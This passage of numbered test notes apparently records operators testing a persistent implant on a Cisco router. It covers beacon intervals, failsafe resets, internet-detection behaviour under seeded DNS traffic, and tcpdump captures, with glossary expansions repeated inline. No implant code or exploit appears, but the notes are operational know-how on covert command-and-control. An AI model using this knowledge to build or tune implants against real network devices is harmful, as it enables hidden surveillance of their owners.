    7. Used device_upgrade to upgrade CMNCaiman (Codename)? to the version that beacons every 1 min
    8. Upgrade loaded successfully:
       

       Total commands reporting status: 1

       Command: 1
       Module: 1
       Command: 1
       Status: SUCCESS

    9. Rebooted DUTDevice Under Test to move to the new upgrade version in ROMMON
    10. Verified that the new version did load by checking the Build Time:
        

        [Versioning]
        Cinnamon Version = 5.0.0 Jun 26 2015 - 10:49:04

    11. New version will not beacon every minute as I thought even though it was built with that setting in the cinnamon.cfg file.  This is due to the previous persistent version already present on the DUTDevice Under Test before upgrade.  The persistent implant config data was already saved to NVRAMNon-volatile Random Access Memory and this will take precendence over the settings build into the CMNCaiman (Codename)? base implant.  

    12. Successfully updated the beacon interval using the pepper command beacon_interval.
15. Testing Internet Detection
    1. DUT currently implanted with sticky norb, beaconing every 1 minute, seeds traffic had been running, just wget.
    2. Stopped seeds traffic.
    3. Changed learning repeat interval through pepper command to be 120s. - module 2 acknowledged success
    4. Reloaded DUTDevice Under Test - will see if it is able to beacon once it's back up
    5. DUT came back up and as expected, it was not able to beacon even after the DUTDevice Under Test was up for 12 minutes
    6. I turned Seeds traffic on and CMNCaiman (Codename)? then began to beacon - CMNCaiman (Codename)? must have learned the interfaces during the learning phase, even without seed traffic.  CMN can then perform Internet Detection all the time, and as soon as it sees the internet connection, it will attempt the beacon with the expired timer that it couldn't attempt to send earlier.  Internet Detection continues until internet detected, then backoff delay of 1 minute if detected.
    7. Next step - test with different DNSDomain Name System server (non-recursive) on Seeds traffic.

    8. watch -n2 wget -nv -T 1 -O /dev/null http://alias.google.com

    9. Reloaded DUTDevice Under Test to clear out learned interfaces and internet detection

    10. Set Seeds to use X.X.X.X (LVLT-GOGL-8-8-8[US]) as DNSDomain Name System server - never could get CMNCaiman (Codename)? to beacon, timed or triggered.
    11. Changed Seeds to use 4.4.4.4 - never could get CMNCaiman (Codename)? to beacon in response to a trigger
    12. Reloaded DUTDevice Under Test - CMNCaiman (Codename)? beaconing in response to trigger, but not timed beacons
    13. Set beacon interval to every 1 minute - beacon response to trigger, but do not received timed beacons
    14. Reloaded DUT, Seeds still on 4.4.4.4 - CMNCaiman (Codename)? still responding to trigger through flux, but not receiving timed beacons even after setting to every 20s.  This is because the beacon failsafe timeout had been reached.
    15. Reset the beacon failsafe with bacon - reset command successful.
    16. Reset device to beacon every 2 minutes
    17. Verify Seeds using DNSDomain Name System server 4.4.4.4
    18. Reloaded DUTDevice Under Test to see if it will automatically detect internet with 4.4.4.4 and begin timed beacons every 2 minutes as expected. - Confirmed
    19. Switched seeds to use X.X.X.X (LVLT-GOGL-8-8-8[US]) - beacons still coming every 2 minutes.  Letting run for more than 10 minutes to account for back off delay.
    20. Beacons worked on X.X.X.X (LVLT-GOGL-8-8-8[US]) server all night, every two minutes.  Going to reboot and see if it still works with the X.X.X.X (LVLT-GOGL-8-8-8[US]) DNSDomain Name System server
    21. Rebooted 881 and it began beaconing again with X.X.X.X (LVLT-GOGL-8-8-8[US]) for Seeds traffic.  Verified traffic to X.X.X.X (LVLT-GOGL-8-8-8[US]) server and see the following in output of tcpdump - CMN-7:
        

        09:18:53.154280 IP XXX.XX.XXX.XXX (CABLEVISION[US]).50424 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 7281+ A? alias.google.com. (34)
        09:18:53.756970 IP XXX.XX.XXX.XXX (CABLEVISION[US]).26126 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 24123+ A? www.google.com. (32)
        09:18:53.759726 IP XXX.XX.XXX.XXX (CABLEVISION[US]) > X.X.X.X (LVLT-GOGL-8-8-8[US]): ICMPInternet Control Message Protocol host XXX.XX.XXX.XXX (CABLEVISION[US]) unreachable - admin prohibited, length 118
        09:18:55.169643 IP XXX.XX.XXX.XXX (CABLEVISION[US]).57481 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 34067+ AAAA? alias.google.com. (34)
        09:18:55.172606 IP XXX.XX.XXX.XXX (CABLEVISION[US]).50223 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 51940+ A? alias.google.com. (34)
        09:18:56.105590 IP XXX.XX.XXX.XXX (CABLEVISION[US]).29803 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 22405+ A? www.suptest.com. (33)
        09:18:56.108065 IP XXX.XX.XXX.XXX (CABLEVISION[US]) > X.X.X.X (LVLT-GOGL-8-8-8[US]): ICMPInternet Control Message Protocol host XXX.XX.XXX.XXX (CABLEVISION[US]) unreachable - admin prohibited, length 108
        09:18:57.188784 IP XXX.XX.XXX.XXX (CABLEVISION[US]).38501 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 62451+ AAAA? alias.google.com. (34)
        09:18:57.191526 IP XXX.XX.XXX.XXX (CABLEVISION[US]).52440 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 53376+ A? alias.google.com. (34)
        09:18:59.206950 IP XXX.XX.XXX.XXX (CABLEVISION[US]).36149 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 47735+ AAAA? alias.google.com. (34)
        09:18:59.209641 IP XXX.XX.XXX.XXX (CABLEVISION[US]).555

    22. Stopped Seeds traffic to see how long it will keep beaconing - it does, added -v to get more detail on tcpdump output ICMPInternet Control Message Protocol unreachables.

        09:39:03.772956 IP (tos 0x0, ttl 254, id 28, offset 0, flags [none], proto UDPUser Datagram Protocol (17), length 60)
        XXX.XX.XXX.XXX (CABLEVISION[US]).28355 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 56049+ A? www.google.com. (32)
        09:39:03.775915 IP (tos 0xc0, ttl 62, id 18672, offset 0, flags [none], proto ICMPInternet Control Message Protocol (1), length 138)
        XXX.XX.XXX.XXX (CABLEVISION[US]) > X.X.X.X (LVLT-GOGL-8-8-8[US]): ICMPInternet Control Message Protocol host XXX.XX.XXX.XXX (CABLEVISION[US]) unreachable - admin prohibited, length 118
        IP (tos 0x0, ttl 62, id 51133, offset 0, flags [none], proto UDPUser Datagram Protocol (17), length 110)
        X.X.X.X (LVLT-GOGL-8-8-8[US]).53 > XXX.XX.XXX.XXX (CABLEVISION[US]).28355: 56049* 1/1/1 www.google.com. A X.X.X.XX (LVLT-GOGL-8-8-8[US]) (82)
        09:39:05.774558 IP (tos 0x0, ttl 254, id 29, offset 0, flags [none], proto UDPUser Datagram Protocol (17), length 61)
        XXX.XX.XXX.XXX (CABLEVISION[US]).31670 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 29828+ A? www.suptest.com. (33)
        09:39:05.778277 IP (tos 0xc0, ttl 62, id 18673, offset 0, flags [none], proto ICMPInternet Control Message Protocol (1), length 128)
        XXX.XX.XXX.XXX (CABLEVISION[US]) > X.X.X.X (LVLT-GOGL-8-8-8[US]): ICMPInternet Control Message Protocol host XXX.XX.XXX.XXX (CABLEVISION[US]) unreachable - admin prohibited, length 108
        IP (tos 0x0, ttl 62, id 51134, offset 0, flags [none], proto UDPUser Datagram Protocol (17), length 100)
        X.X.X.X (LVLT-GOGL-8-8-8[US]).53 > XXX.XX.XXX.XXX (CABLEVISION[US]).31670: 29828* 1/1/0 www.suptest.com. A 172.20.13.10 (72)

    23. Rebooted DUTDevice Under Test with no seeds traffic - Device did not beacon
    24. Started Seeds to X.X.X.X (LVLT-GOGL-8-8-8[US]) and CMNCaiman (Codename)? immediately beaconed.
    25. Seeds stopped working after just a few minutes.  Tried restarting seeds process, still doesn't work.  Manual lookups from Seeds host do work.  CMN no longer beaconing.  Only ever sent the first one.
    26. Seeds stopped working, I triggered the implant and it did beacon.  At that time, I noticed seeds was also now working.  I sent a beacon failsafe reset to the implant and now beaconing every 2 min.
    27. Trying to repeat the results - starting with DUTDevice Under Test reboot with no Seeds traffic.  Unable to reproduce so far.